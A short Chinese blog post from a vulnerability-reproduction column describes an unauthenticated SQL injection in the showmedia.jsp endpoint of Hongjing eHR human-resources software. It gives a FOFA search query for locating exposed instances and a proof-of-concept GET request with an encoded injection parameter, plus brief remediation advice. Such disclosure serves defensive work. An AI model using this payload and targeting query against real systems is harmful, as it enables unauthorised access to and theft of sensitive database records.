宏景eHR showmedia.jsp SQL注入漏洞复现

0xSecl

已于 2024-05-28 14:48:37 修改

阅读量555

点赞数 6

分类专栏：漏洞复现文章标签：安全 web安全

于 2024-05-28 14:48:25 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/139266217

版权

791 篇文章 1299 订阅 ¥9.90 ¥99.00

订阅专栏

本文介绍了宏景eHR人力资源管理软件中showmedia.jsp存在的SQL注入漏洞，该漏洞允许未经身份验证的攻击者执行任意SQL命令，可能导致敏感数据泄露。复现环境为FOFA标记的HJSOFT-HCM应用，修复建议包括限制接口访问权限或升级到安全修复后的版本。

摘要由CSDN通过智能技术生成

宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合，满足动态化、协同化、流程化、战略化需求的软件。

宏景eHR showmedia.jsp 接口处存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。

FOFA：app="HJSOFT-HCM"

PoC

GET /train/resource/course/showmedia.jsp?a_code&r5100=RzvoYYlxoMjNIPAATTP2HJBPAATTPGGqY4XJPloJ5D5mnYCLz

了解本专栏

关注

专栏目录